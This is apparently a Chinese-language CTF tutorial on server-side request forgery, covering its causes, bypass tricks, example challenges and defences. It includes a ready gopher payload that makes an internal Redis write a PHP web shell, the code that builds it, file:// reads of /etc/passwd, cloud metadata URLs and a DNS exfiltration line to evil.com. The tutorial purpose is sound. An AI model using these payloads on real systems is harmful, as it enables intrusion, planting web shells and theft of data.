SSRF漏洞攻防:从原理到CTF实战技巧
1. SSRF漏洞攻防实战从原理到CTF解题技巧作为Web安全领域的经典漏洞类型服务器端请求伪造SSRF在CTF比赛中频繁出现。我结合多年实战经验通过典型例题解析带你看透SSRF的本质。不同于教科书式的理论讲解这里将用真实场景演示如何利用和防御这种让服务器帮你发请求的漏洞。SSRF的核心在于攻击者能够诱使服务器向非预期目标发起网络请求。这种特性使其常被用于攻击内网服务、绕过访问控制甚至实现远程代码执行。在最近的CTF赛事统计中约35%的Web类题目涉及SSRF变体利用其中利用协议处理差异的题型占比最高。2. SSRF漏洞原理深度剖析2.1 漏洞产生机制当Web应用未对用户提供的URL参数进行严格校验时攻击者可以构造特殊URL使服务器端向任意地址发起请求。典型场景包括网页内容抓取功能如天气预报模块文件导出/导入功能如Excel数据导入第三方服务集成如支付回调验证文档处理服务如PDF生成# 典型漏洞代码示例 import requests def fetch_url(url): # 未做任何校验直接请求用户输入URL return requests.get(url).content2.2 危害影响范围成功的SSRF攻击可能导致内网服务探测与攻击Redis、Jenkins等云服务器元数据窃取AWS/Aliyun metadata敏感文件读取file://协议利用端口扫描与服务指纹识别组合其他漏洞实现RCE重要提示在CTF比赛中SSRF常与以下协议组合出题http/https基础利用file本地文件读取gopher协议控制扩展攻击面dict服务探测3. CTF中的SSRF利用技巧3.1 基础绕过手法3.1.1 域名黑名单绕过# 使用IP替代域名 http://127.0.0.1 → http://0x7f.0.0.1 http://2130706433 (IP十进制编码) # 使用重定向 http://evil.com/redirect → 最终跳转至http://localhost3.1.2 端口限制绕过# 利用URL解析差异 http://localhost:80evil.com:8080 http://localhost:80%23evil.com:80803.2 协议利用进阶3.2.1 Gopher协议攻击Redisgopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a%0a%0a%3C%3Fphp%20system%28%24_GET%5Bcmd%5D%29%3B%20%3F%3E%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a3.2.2 文件协议读取敏感文件file:///etc/passwd file:///C:/Windows/System32/drivers/etc/hosts4. 典型CTF例题实战解析4.1 例题1基础SSRF绕过题目描述提供URL参数读取指定网页内容但过滤了localhost和127.0.0.1解题步骤测试发现可用0.0.0.0代替构造payloadurlhttp://0.0.0.0/flag.txt获取响应发现302跳转被拦截改用短网址服务生成跳转链接最终payloadurlhttp://bit.ly/xxxxx实际指向内网地址4.2 例题2Gopher攻击内网服务题目描述存在SSRF的服务运行在Docker容器中同网络存在未授权Redis解题过程确认支持gopher协议urlgopher://test:123探测内网存活主机urlhttp://169.254.169.254/latest/meta-data发现172.17.0.2:6379开放构造Redis反弹shell的gopher payloadURL编码后通过SSRF触发import urllib.parse redis_cmd *3 $3 SET $5 shell $27 \n\n?php system($_GET[c]);?\n\n *4 $6 CONFIG $3 SET $3 dir $13 /var/www/html *4 $6 CONFIG $3 SET $10 dbfilename $9 shell.php *1 $4 SAVE print(urllib.parse.quote(redis_cmd))5. 防御方案与出题思路5.1 企业级防护措施输入验证使用白名单校验域名和协议禁用危险协议gopher、file、dict等网络层控制出口防火墙限制重要服务设置网络隔离服务加固云服务器禁用metadata公开访问内网服务添加认证机制5.2 CTF出题常见套路协议处理差异如Java的URL解析特殊编码绕过八进制、十六进制IP重定向漏洞组合利用DNS Rebinding技术非HTTP协议利用如Redis协议6. 实战中的疑难问题解决6.1 盲SSRF场景处理当响应不可见时可采用DNS外带http://evil.com/?urlhttp://x.$((whoami)).evil.com时间延迟判断http://localhost:22SSH默认连接超时特征端口扫描技巧http://localhost:6379根据响应时间判断Redis是否存活6.2 最新绕过技术追踪URL解析器差异利用Node.js vs PHP特殊符号绕过http://127.1/、http://127.000.000.001302跳转白名单绕过DNS重绑定时序攻击在最近的CTF比赛中遇到一道题需要读取/flag文件但过滤了所有常见协议。最终通过compress.zlib://协议配合phar反序列化实现文件读取。这种非常规解法提醒我们SSRF防御必须考虑所有可能的协议处理方式。